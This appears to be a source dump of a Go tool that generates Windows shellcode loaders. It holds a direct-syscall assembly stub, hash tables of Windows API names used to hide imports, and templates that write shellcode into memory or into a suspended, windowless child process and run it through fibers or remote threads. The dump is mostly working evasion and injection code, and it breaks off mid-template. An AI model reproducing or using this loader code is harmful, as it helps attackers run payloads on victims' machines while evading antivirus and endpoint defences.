github.com/spf13/pflag v1.0.5 // indirect 16 | golang.org/x/image v0.1.0 // indirect 17 | golang.org/x/sys v0.10.0 // indirect 18 | ) 19 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a h1:4c0nc0krv8eh7gD809n+swLaCuFyHpxdrxwx0ZmHvBw= 2 | github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ= 3 | github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= 4 | github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= 5 | github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= 6 | github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 h1:zYyBkD/k9seD2A7fsi6Oo2LfFZAehjjQMERAvZLEDnQ= 7 | github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646/go.mod h1:jpp1/29i3P1S/RLdc7JQKbRpFeM1dOBd8T9ki5s+AY8= 8 | github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= 9 | github.com/spf13/cobra v1.7.0 h1:hyqWnYt1ZQShIddO5kBpj3vu05/++x6tJ6dg8EC572I= 10 | github.com/spf13/cobra v1.7.0/go.mod h1:uLxZILRyS/50WlhOIKD7W6V5bgeIt+4sICxh6uRMrb0= 11 | github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= 12 | github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= 13 | github.com/tc-hib/winres v0.2.0 h1:gly/ivDWGvlhl7ENtEmA7wPQ6dWab1LlLq/DgcZECKE= 14 | github.com/tc-hib/winres v0.2.0/go.mod h1:uG6S5M2Q0/kThoqsCSYvGJODUQP9O9R0SNxUPmFIegw= 15 | github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= 16 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 17 | golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= 18 | golang.org/x/crypto v0.11.0 h1:6Ewdq3tDic1mg5xRO4milcWCfMVQhI4NkqWWvqejpuA= 19 | golang.org/x/crypto v0.11.0/go.mod h1:xgJhtzW8F9jGdVFWZESrid1U1bjeNy4zgy5cRr/CIio= 20 | golang.org/x/image v0.1.0 h1:r8Oj8ZA2Xy12/b5KZYj3tuv7NG/fBz3TwQVvpJ9l8Rk= 21 | golang.org/x/image v0.1.0/go.mod h1:iyPr49SD/G/TBxYVB/9RRtGUT5eNbo2u4NamWeQcD5c= 22 | golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= 23 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 24 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= 25 | golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= 26 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 27 | golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 28 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 29 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 30 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 31 | golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 32 | golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 33 | golang.org/x/sys v0.10.0 h1:SqMFp9UcQJZa+pmYuAKjd9xq1f0j5rLcDIk0mj4qAsA= 34 | golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 35 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 36 | golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= 37 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 38 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 39 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= 40 | golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= 41 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 42 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 43 | golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= 44 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 45 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 46 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 47 | -------------------------------------------------------------------------------- /internals/asm_x64.s: -------------------------------------------------------------------------------- 1 | #define maxargs 16 2 | //func runSyscall(callid uint16, argh ...uintptr) (uint32) 3 | TEXT ·runSyscall(SB), $0-56 4 | XORQ AX,AX 5 | MOVW callid+0(FP), AX 6 | PUSHQ CX 7 | 8 | //put variadic size into CX 9 | MOVQ argh_len+16(FP),CX 10 | 11 | //put variadic pointer into SI 12 | MOVQ argh_base+8(FP),SI 13 | 14 | // SetLastError(0). 15 | MOVQ 0x30(GS), DI 16 | MOVL $0, 0x68(DI) 17 | SUBQ $(maxargs*8), SP // room for args 18 | 19 | // Fast version, do not store args on the stack. 20 | CMPL CX, $4 21 | JLE loadregs 22 | 23 | // Check we have enough room for args. 24 | CMPL CX, $maxargs 25 | JLE 2(PC) 26 | INT $3 // not enough room -> crash 27 | 28 | // Copy args to the stack. 29 | MOVQ SP, DI 30 | CLD 31 | REP; MOVSQ 32 | MOVQ SP, SI 33 | 34 | loadregs: 35 | SUBQ $8, SP 36 | 37 | // Load first 4 args into correspondent registers. 38 | MOVQ 0(SI), CX 39 | MOVQ 8(SI), DX 40 | MOVQ 16(SI), R8 41 | MOVQ 24(SI), R9 42 | 43 | // Floating point arguments are passed in the XMM 44 | // registers. Set them here in case any of the arguments 45 | // are floating point values. For details see 46 | // https://msdn.microsoft.com/en-us/library/zthk2dkh.aspx 47 | 48 | MOVQ CX, X0 49 | MOVQ DX, X1 50 | MOVQ R8, X2 51 | MOVQ R9, X3 52 | MOVQ CX, R10 53 | SYSCALL 54 | ADDQ $((maxargs+1)*8), SP 55 | 56 | // Return result. 57 | POPQ CX 58 | MOVL AX, errcode+32(FP) 59 | RET 60 | -------------------------------------------------------------------------------- /internals/defines.go: -------------------------------------------------------------------------------- 1 | package internals 2 | 3 | /* stores hashed name for different functions here. */ 4 | 5 | type ItemHash struct { 6 | Name string 7 | Djb2 string 8 | Sha1 string 9 | Sha256 string 10 | Sha512 string 11 | } 12 | 13 | var Libraries = []ItemHash{ 14 | { 15 | Name: "ntdll.dll", 16 | Sha1: "0ebd8d889e0e2c63b7a4361a8dfe00177cdd90bb", 17 | Sha256: "9799dda2257cafa991aa38a16bca3fef8e1dc74a710a45540f92b1fa6bebb325", 18 | Sha512: "40b2a7d054581eb002a782e52bdfa0fe3a3785bacb3f68417a8398ca36767789161444cf3730f9add8e336f238302677f1695fa85d86e2f38f774c22133a2c73", 19 | Djb2: "48974c2b9a61004", 20 | }, 21 | } 22 | 23 | var Ntdll = []ItemHash{ 24 | { 25 | Name: "LoadLibraryA", 26 | Sha1: "2ff89c407367034615a95207770da1a7646d47df", 27 | Sha256: "ebe7efccb0a610c6a5c504c1c40e39b9c17ffcf22165a0cfc352ec24ae254bbf", 28 | Sha512: "0769713cb7eeadc2cca33e363131b0ab52b1df0d9b1ad834dd6e4e5b8aa04e384d058039328cd11f8e526ba8f2aaf326f679d100f607ce118443cce079dcb82f", 29 | Djb2: "6e8ac3a04c15d943", 30 | }, 31 | { 32 | Name: "VirtualAlloc", 33 | Sha1: "3567705df8e544d414d315f64ae47e5861b0f68a", 34 | Sha256: "02bd37c1a0f05945da5b89a6bac0442c25ed41d4ef7faf5a0dbebc4a164717a4", 35 | Sha512: "d07e14fb68a140227321c46c4a59cf1a9a821c0f0add4aa0bf9b9a875c3af974857855052e329d8d90491b4d4376e1249d6776f725ca763fe0f53cd84a7ff942", 36 | Djb2: "782024e6b5fe6881", 37 | }, 38 | { 39 | Name: "VirtualProtect", 40 | Sha1: "69e06440b787b5b3fac43a60d3f019be95f63896", 41 | Sha256: "9e14bfc8aef4a854ac77a1ae7ae1e0c3b072aec6c2da284164a0b9ea347fdaba", 42 | Sha512: "77dad9a3279de993b2edff84ceae8c18ec4577f75bc3157694fe1349df9d99300e999d9d25f6619a839022dc96c037877d93bb89d83cb7600cdd544fbf059d14", 43 | Djb2: "7126a1d34679917e", 44 | }, 45 | { 46 | Name: "RtlCopyMemory", 47 | Sha1: "638f1a50566e7a2aceaeeebc63980672611c32a0", 48 | Sha256: "8c6f5c89104c0c4418fcda502146888ac9a255697f7aeb62171da677a6bf34b2", 49 | Sha512: "4a7eab1b5ad1d3d71c105cdc50e47aa944b0c56cb00bb896a5ad652ccca4f9e1a8a84d757f3158aeec5104cb4b2d1f7923e21a5ba8f75180a112fda40722f70c", 50 | Djb2: "7a4c2ed807c8fcf1", 51 | }, 52 | { 53 | Name: "NtProtectVirtualMemory", 54 | Sha1: "059637f5757d91ad1bc91215f73ab6037db6fe59", 55 | Sha256: "a6290493ec0ae72f94b5e4507d63420e40d5e35404d99a583a62acfedddfd848", 56 | Sha512: "e07953c6b45a10b35f74686e9723e3ce65b3506332231c314ff88cb9b86824c756aa9ec1642a55e7fbf0521d9e68e6b09b4c423327ab780100d92a0961d4c250", 57 | Djb2: "a9a7b2ecdd745a31", 58 | }, 59 | { 60 | Name: "NtAllocateVirtualMemory", 61 | Sha1: "04262a7943514ab931287729e862ca663d81f515", 62 | Sha256: "078b183f59677940916dc1da6726b10497d230dff219f845c7d04c1f0425c388", 63 | Sha512: "15cf362b1abdc2792899e7e451e2c7e0668ff0bf5df6b9a4fa92082b6abd77c8c14ec684c98af255f6cd2af58c72a810332887aa0e18b076dd58da2b1bc1bea0", 64 | Djb2: "32b0ac787d4dba31", 65 | }, 66 | { 67 | Name: "NtCreateThreadEx", 68 | Sha1: "91958a615f982790029f18c9cdb6d7f7e02d396f", 69 | Sha256: "a3b64f7ca1ef6588607eac4add97fd5dfbb9639175d4012038fc50984c035bcd", 70 | Sha512: "ef9ef2ae72efe49a5eff53df67fc402e49d2324eef4bc6dbb6f3797d9a1f00f82089620103a29aef6be741c0e19d469855cad7cc023a05685b2399ee10065fa0", 71 | Djb2: "76d3925c21b6534a", 72 | }, 73 | { 74 | Name: "NtWriteVirtualMemory", 75 | Sha1: "6caed95840c323932b680d07df0a1bce28a89d1c", 76 | Sha256: "6d51355d37c96dec276ee56a078256831610ef9b42287e19e1b85226d451410b", 77 | Sha512: "f07fcea516c70bda3cb17f3010d2d03ea426a79e4ca181668728ce02a93c39673d8e38de51f68574034f3dfa87eb5f98d3e279015673194b5bee86fa2eb8ac12", 78 | Djb2: "9ca2ab4726e0ba31", 79 | }, 80 | { 81 | Name: "CreateThread", 82 | Sha1: "2a953ace6c3950520c4153060e35679648967981", 83 | Sha256: "0fe39db340c2fe54c68e77ff65754d08137aae006286e8b8e5f20cc5451e9f22", 84 | Sha512: "855848ae8b96ad61d7288ac5eb42f54069dcb242201bc3b3df7a21b8f4e4fd70324e7a514ec710a75b7b1cc3a219da75cb49cd6a99e33172e41ed80b35c9e348", 85 | Djb2: "65dd5ebc0ad0132a", 86 | }, 87 | { 88 | Name: "WaitForSingleObject", 89 | Sha1: "681e778499375c2fb42da094ca5119ae773c189b", 90 | Sha256: "6a98c5468e3cd5c8fec2ed81dcfb6c653bfe56289debe0e1089c92dc8eff744f", 91 | Sha512: "a06ee8da37a43a240267a122a8ea85fbf9e0b403e140e13ea3504bff2004e1902df4542e5d5b821439ab73633d2405cf8c1c4ccdef288c26e8ecfa07be49cae8", 92 | Djb2: "aabf4c35522cfc3e", 93 | }, 94 | } 95 | -------------------------------------------------------------------------------- /internals/hashes.go: -------------------------------------------------------------------------------- 1 | package internals 2 | 3 | import ( 4 | "crypto/sha1" 5 | "crypto/sha256" 6 | "crypto/sha512" 7 | "fmt" 8 | ) 9 | 10 | /* 11 | holds the different hashing algorithms available for this loader 12 | */ 13 | 14 | func HashSHA1(toHash string) string { 15 | h := sha1.New() 16 | h.Write([]byte(toHash)) 17 | bs := h.Sum(nil) 18 | 19 | return fmt.Sprintf("%x", bs) 20 | } 21 | 22 | func HashSHA256(toHash string) string { 23 | h := sha256.New() 24 | h.Write([]byte(toHash)) 25 | bs := h.Sum(nil) 26 | 27 | return fmt.Sprintf("%x", bs) 28 | } 29 | 30 | func HashSHA512(toHash string) string { 31 | h := sha512.New() 32 | h.Write([]byte(toHash)) 33 | bs := h.Sum(nil) 34 | 35 | return fmt.Sprintf("%x", bs) 36 | } 37 | 38 | func HashDJB2(input string) string { 39 | hash := uint64(5381) 40 | 41 | for _, b := range input { 42 | hash += uint64(b) + hash + hash<<5 43 | } 44 | 45 | return fmt.Sprintf("%x", hash) 46 | } 47 | -------------------------------------------------------------------------------- /internals/runtime.go: -------------------------------------------------------------------------------- 1 | package internals 2 | 3 | /* 4 | slightly adapted from hooka loader 5 | 6 | i could have just yoinked the code and used it like that but i plan to 7 | do different things in the future, which will need me to implement things 8 | differently, but this is an excellent base if you want to get started 9 | or use a more stable loader :) 10 | 11 | 12 | */ 13 | 14 | import ( 15 | "encoding/binary" 16 | "errors" 17 | 18 | "github.com/Binject/debug/pe" 19 | ) 20 | 21 | func rva2offset(pe *pe.File, rva uint32) uint32 { 22 | for _, hdr := range pe.Sections { 23 | baseoffset := uint64(rva) 24 | if baseoffset > uint64(hdr.VirtualAddress) && 25 | baseoffset < uint64(hdr.VirtualAddress+hdr.VirtualSize) { 26 | return rva - hdr.VirtualAddress + hdr.Offset 27 | } 28 | } 29 | return rva 30 | } 31 | 32 | func HashedCall(callid uint16, argh ...uintptr) uintptr { 33 | rvalue := runSyscall(callid, argh...) 34 | return uintptr(rvalue) 35 | } 36 | 37 | func runSyscall(callid uint16, argh ...uintptr) (errcode uint32) 38 | 39 | func LoadFunctionFromHash( 40 | hashing_algorithm func(string) string, 41 | hashedName string, 42 | dll *pe.File, 43 | ) (uint16, error) { 44 | 45 | /* retrieve function exports */ 46 | exports, err := dll.Exports() 47 | if err != nil { 48 | return 0, err 49 | } 50 | 51 | for _, x := range exports { 52 | 53 | /* hash every export & compare against base hash */ 54 | if hashing_algorithm(x.Name) == hashedName { 55 | 56 | /* get in-memory offset from rva */ 57 | offset := rva2offset(dll, x.VirtualAddress) 58 | dllBytes, err := dll.Bytes() 59 | if err != nil { 60 | return 0, errors.New("could not retrieve bytes from dll...") 61 | } 62 | 63 | buff := dllBytes[offset : offset+10] 64 | sysId := binary.LittleEndian.Uint16(buff[4:8]) 65 | return sysId, nil 66 | } 67 | } 68 | return 0, errors.New("Function not found") 69 | } 70 | -------------------------------------------------------------------------------- /loaders/createFiber.go: -------------------------------------------------------------------------------- 1 | package loaders 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | ) 7 | 8 | type CreateFiberTemplate struct{} 9 | 10 | func (t CreateFiberTemplate) Import() string { 11 | return fmt.Sprintf(` 12 | import ( 13 | "os" 14 | "unsafe" 15 | "syscall" 16 | ) 17 | `) 18 | } 19 | 20 | func (t CreateFiberTemplate) Const() string { 21 | return fmt.Sprintf(` 22 | const ( 23 | MEM_COMMIT = 0x1000 24 | MEM_RESERVE = 0x2000 25 | PAGE_EXECUTE_READ = 0x20 26 | PAGE_READWRITE = 0x04 27 | ) 28 | 29 | 30 | var ( 31 | kernel32 = syscall.MustLoadDLL("kernel32.dll") 32 | ntdll = syscall.MustLoadDLL("ntdll.dll") 33 | 34 | VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") 35 | VirtualProtect = kernel32.MustFindProc("VirtualProtect") 36 | ConvertThreadToFiber = kernel32.MustFindProc("ConvertThreadToFiber") 37 | CreateFiber = kernel32.MustFindProc("CreateFiber") 38 | SwitchToFiber = kernel32.MustFindProc("SwitchToFiber") 39 | RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") 40 | ) 41 | `) 42 | } 43 | 44 | func (t CreateFiberTemplate) Init() string { 45 | return "" 46 | } 47 | 48 | func (t CreateFiberTemplate) Process() string { 49 | return fmt.Sprintf(` 50 | /* convert main thread to fiber */ 51 | fiberAddr, _, _ := ConvertThreadToFiber.Call() 52 | if fiberAddr == 0 { 53 | os.Exit(1) 54 | } 55 | 56 | /* allocate memory for the shellcode with VirtualAlloc & set the correct permissions */ 57 | addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE) 58 | if addr == 0 { 59 | os.Exit(1) 60 | } 61 | 62 | /* copy shellcode to allocated space */ 63 | _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) 64 | 65 | /* change memory permissions so that it can execute */ 66 | oldProtect := PAGE_READWRITE 67 | _, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect))) 68 | 69 | /* call CreateFiber & switch to the fiber to execute the payload */ 70 | fiber, _, _ := CreateFiber.Call(0, addr, 0) 71 | _, _, _ = SwitchToFiber.Call(fiber) 72 | `) 73 | } 74 | 75 | func (t CreateFiberTemplate) GetTemplate(targetProcess string) string { 76 | InformProcessUnused(targetProcess) 77 | 78 | var template = ` 79 | package main 80 | 81 | __IMPORT__STATEMENT__ 82 | 83 | __CONST__STATEMENT__ 84 | 85 | func ExecuteOrderSixtySix(shellcode []byte) { 86 | 87 | __IMPORT__PROCESS__ 88 | 89 | } 90 | ` 91 | template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1) 92 | template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1) 93 | template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1) 94 | template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1) 95 | 96 | return template 97 | } 98 | -------------------------------------------------------------------------------- /loaders/createRemoteThread.go: -------------------------------------------------------------------------------- 1 | package loaders 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | ) 7 | 8 | type CRTTemplate struct{} 9 | 10 | func (t CRTTemplate) Import() string { 11 | return fmt.Sprintf(` 12 | import ( 13 | "syscall" 14 | "unsafe" 15 | ) 16 | `) 17 | } 18 | 19 | func (t CRTTemplate) Const() string { 20 | return fmt.Sprintf(` 21 | const ( 22 | MEM_COMMIT = 0x1000 23 | MEM_RESERVE = 0x2000 24 | PAGE_READWRITE = 0x4 25 | PAGE_EXECUTE_READ = 0x20 26 | PAGE_EXECUTE_READWRITE = 0x40 27 | CREATE_SUSPENDED = 0x4 28 | CREATE_NO_WINDOW = 0x8000000 29 | ) 30 | 31 | var ( 32 | kernel32 = syscall.MustLoadDLL("kernel32.dll") 33 | 34 | VirtualAllocEx = kernel32.MustFindProc("VirtualAllocEx") 35 | VirtualProtectEx = kernel32.MustFindProc("VirtualProtectEx") 36 | WriteProcessMemory = kernel32.MustFindProc("WriteProcessMemory") 37 | CreateRemoteThread = kernel32.MustFindProc("CreateRemoteThread") 38 | ) 39 | `) 40 | } 41 | 42 | func (t CRTTemplate) Init() string { 43 | return fmt.Sprintf(` 44 | func loadProcess(target string) *syscall.ProcessInformation { 45 | var si syscall.StartupInfo 46 | var pi syscall.ProcessInformation 47 | 48 | commandLine, err := syscall.UTF16PtrFromString(target) 49 | if err != nil { 50 | panic(err) 51 | } 52 | 53 | err = syscall.CreateProcess( 54 | nil, 55 | commandLine, 56 | nil, 57 | nil, 58 | false, 59 | CREATE_SUSPENDED | CREATE_NO_WINDOW, 60 | nil, 61 | nil, 62 | &si, 63 | &pi, 64 | ); if err != nil { 65 | panic(err) 66 | } 67 | 68 | return &pi 69 | } 70 | `) 71 | } 72 | 73 | func (t CRTTemplate) Process() string { 74 | return fmt.Sprintf(` 75 | /* spawn target process */ 76 | process := loadProcess("__PROCESS__") 77 | oldProtectCfg := PAGE_READWRITE 78 | 79 | /* allocating the appropriate amount of memory */ 80 | baseAddr, _, _ := VirtualAllocEx.Call( 81 | uintptr(process.Process), 82 | 0, 83 | uintptr(len(shellcode)), 84 | MEM_COMMIT | MEM_RESERVE, 85 | PAGE_READWRITE, 86 | ) 87 | 88 | /* overwriting process memory with our shellcode */ 89 | _, _, _ = WriteProcessMemory.Call( 90 | uintptr(process.Process), 91 | baseAddr, 92 | uintptr(unsafe.Pointer(&shellcode[0])), 93 | uintptr(len(shellcode)), 94 | 0, 95 | ) 96 | 97 | /* changing permissions for our memory segment */ 98 | _, _, _ = VirtualProtectEx.Call( 99 | uintptr(process.Process), 100 | baseAddr, 101 | uintptr(len(shellcode)), 102 | PAGE_EXECUTE_READ, 103 | uintptr(unsafe.Pointer(&oldProtectCfg)), 104 | ) 105 | 106 | /* load remote thread */ 107 | _, _, _ = CreateRemoteThread.Call(uintptr(process.Process), 0, 0, baseAddr, 0, 0, 0) 108 | `) 109 | } 110 | 111 | func (t CRTTemplate) GetTemplate(targetProcess string) string { 112 | var template = ` 113 | package main 114 | 115 | __IMPORT__STATEMENT__ 116 | 117 | __CONST__STATEMENT__ 118 | 119 | __IMPORT__INIT__ 120 | 121 | func ExecuteOrderSixtySix(shellcode []byte) { 122 | 123 | __IMPORT__PROCESS__ 124 | 125 | } 126 | ` 127 | template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1) 128 | template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1) 129 | template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1) 130 | template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1) 131 | 132 | return strings.Replace(template, "__PROCESS__", targetProcess, -1) 133 | } 134 | -------------------------------------------------------------------------------- /loaders/createRemoteThreadEx.go: -------------------------------------------------------------------------------- 1 | package loaders 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | ) 7 | 8 | type CRTxTemplate struct { 9 | CRTTemplate 10 | } 11 | 12 | func (t CRTxTemplate) Const() string { 13 | return strings.Replace(t.CRTTemplate.Const(), "CreateRemoteThread", "CreateRemoteThreadEx", 1) 14 | } 15 | 16 | func (t CRTxTemplate) Process() string { 17 | return fmt.Sprintf(` 18 | /* spawn target process */ 19 | process := loadProcess("__PROCESS__") 20 | oldProtectCfg := PAGE_READWRITE 21 | 22 | /* allocating the appropriate amount of memory */ 23 | baseAddr, _, _ := VirtualAllocEx.Call( 24 | uintptr(process.Process), 25 | 0, 26 | uintptr(len(shellcode)), 27 | MEM_COMMIT | MEM_RESERVE, 28 | PAGE_READWRITE, 29 | ) 30 | 31 | /* overwriting process memory with our shellcode */ 32 | _, _, _ = WriteProcessMemory.Call( 33 | uintptr(process.Process), 34 | baseAddr, 35 | uintptr(unsafe.Pointer(&shellcode[0])), 36 | uintptr(len(shellcode)), 37 | 0, 38 | ) 39 | 40 | /* changing permissions for our memory segment */ 41 | _, _, _ = VirtualProtectEx.Call( 42 | uintptr(process.Process), 43 | baseAddr, 44 | uintptr(len(shellcode)), 45 | PAGE_EXECUTE_READ, 46 | uintptr(unsafe.Pointer(&oldProtectCfg)), 47 | ) 48 | 49 | /* load remote thread */ 50 | _, _, _ = CreateRemoteThreadEx.Call( 51 | uintptr(process.Process), 52 | 0, 53 | 0, 54 | baseAddr, 55 | 0, 56 | 0, 57 | 0, 58 | ) 59 | `) 60 | } 61 | 62 | func (t CRTxTemplate) GetTemplate(targetProcess string) string { 63 | var template = ` 64 | package main 65 | 66 | __IMPORT__STATEMENT__ 67 | 68 | __CONST__STATEMENT__ 69 | 70 | __IMPORT__INIT__ 71 | 72 | func ExecuteOrderSixtySix(shellcode []byte) { 73 | 74 | __IMPORT__PROCESS__ 75 | 76 | } 77 | ` 78 | template = strings.Replace(template, "__IMPORT__STATEMENT__", t.CRTTemplate.Import(), -1) 79 | template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1) 80 | template = strings.Replace(template, "__IMPORT__INIT__", t.CRTTemplate.Init(), -1) 81 | template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1) 82 | 83 | return strings.Replace(template, "__PROCESS__", targetProcess, -1) 84 | } 85 | -------------------------------------------------------------------------------- /loaders/createThread.go: -------------------------------------------------------------------------------- 1 | package loaders 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | ) 7 | 8 | type CreateTTemplate struct { 9 | UseApiHashing bool 10 | HashMethod string 11 | } 12 | 13 | func (t CreateTTemplate) Import() string { 14 | if t.UseApiHashing { 15 | return fmt.Sprintf(` 16 | import ( 17 | "fmt" 18 | "log" 19 | "os" 20 | "syscall" 21 | "unsafe" 22 | 23 | "github.com/Binject/debug/pe" 24 | loader "github.com/cmepw/myph/internals" 25 | ) 26 | `) 27 | } 28 | 29 | return fmt.Sprintf(` 30 | import ( 31 | "syscall" 32 | "unsafe" 33 | ) 34 | `) 35 | } 36 | 37 | func (t CreateTTemplate) Const() string { 38 | if !t.UseApiHashing { 39 | 40 | return fmt.Sprintf(` 41 | const ( 42 | MEM_COMMIT = 0x1000 43 | MEM_RESERVE = 0x2000 44 | PAGE_EXECUTE_READWRITE = 0x40 45 | ) 46 | 47 | var ( 48 | kernel32 = syscall.MustLoadDLL("kernel32.dll") 49 | ntdll = syscall.MustLoadDLL("ntdll.dll") 50 | 51 | WaitForSingleObject = kernel32.MustFindProc("WaitForSingleObject") 52 | VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") 53 | CreateThread = kernel32.MustFindProc("CreateThread") 54 | 55 | RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") 56 | ) 57 | `) 58 | 59 | } 60 | 61 | return fmt.Sprintf(` 62 | const ( 63 | MEM_COMMIT = 0x1000 64 | MEM_RESERVE = 0x2000 65 | PAGE_EXECUTE_READWRITE = 0x40 66 | ) 67 | 68 | 69 | `) 70 | } 71 | 72 | func (t CreateTTemplate) Init() string { 73 | return fmt.Sprintf("\n") 74 | } 75 | 76 | func (t CreateTTemplate) Process() string { 77 | if t.UseApiHashing { 78 | 79 | return fmt.Sprintf(` 80 | ntdll, err := pe.Open("C:\\Windows\\System32\\ntdll.dll"); if err != nil { 81 | fmt.Println(err.Error()) 82 | os.Exit(1) 83 | } 84 | defer ntdll.Close() 85 | 86 | 87 | kernel32, err := pe.Open("C:\\Windows\\System32\\kernel32.dll"); if err != nil { 88 | fmt.Println(err.Error()) 89 | os.Exit(1) 90 | } 91 | defer kernel32.Close() 92 | 93 | 94 | var addr uintptr 95 | regionsize := uintptr(len(shellcode)) 96 | VirtualAlloc, err := loader.LoadFunctionFromHash(loader.HashDJB2, "32b0ac787d4dba31", kernel32) 97 | if err != nil { 98 | log.Fatal(err) 99 | } 100 | 101 | addr = loader.HashedCall( 102 | VirtualAlloc, 103 | 0, 104 | regionSize, 105 | MEM_COMMIT|MEM_RESERVE, 106 | PAGE_EXECUTE_READWRITE, 107 | ) 108 | 109 | if addr == 0 { 110 | log.Fatal("Error: null return value") 111 | } 112 | 113 | RtlCopyMemory, err := 